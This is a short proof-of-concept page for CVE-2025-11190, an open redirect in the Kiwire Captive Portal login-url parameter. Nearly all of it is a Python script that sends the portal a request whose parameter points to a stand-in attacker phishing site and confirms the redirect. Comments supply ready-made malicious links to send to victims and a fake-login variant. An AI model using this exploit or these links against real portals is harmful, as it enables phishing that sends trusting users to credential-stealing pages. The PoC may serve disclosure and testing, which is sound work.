CVE-2025-11190 Kiwire Captive Portal开放重定向漏洞

# CVE-2025-11190 - Kiwire Captive Portal Open Redirect PoC # Vulnerability: Open Redirect via login-url parameter # The login-url parameter does not validate the redirect target, # allowing attackers to redirect users to arbitrary external websites. import requests # Target Kiwire Captive Portal URL TARGET_URL = "https://kiwire-portal.example.com/login" # Attacker's controlled malicious website MALICIOUS_URL = "https://attacker.com/phishing-page" def exploit_open_redirect(target_url, malicious_url): """ Exploit the open redirect vulnerability by injecting a malicious URL into the login-url parameter. """ # Construct the malicious URL with the login-url parameter set to attacker-controlled site params = { "login-url": malicious_url } # Send the request (allow_redirects=False to observe the redirect) response = requests.get(target_url, params=params, allow_redirects=False) # Check if the server responded with a redirect (3xx status code) if response.status_code in (301, 302, 303, 307, 308): redirect_location = response.headers.get("Location", "") print(f"[+] Redirect detected!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {redirect_location}") if malicious_url in redirect_location: print(f"[+] VULNERABLE: Server redirected to attacker-controlled URL: {redirect_location}") return True else: print(f"[-] Not vulnerable or redirect was sanitized.") return False else: print(f"[-] No redirect response. Status: {response.status_code}") return False if __name__ == "__main__": # Example malicious link that can be sent to victims: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/phishing-page exploit_open_redirect(TARGET_URL, MALICIOUS_URL) # Example malicious URL to distribute via phishing: # https://kiwire-portal.example.com/login?login-url=https://attacker.com/fake-login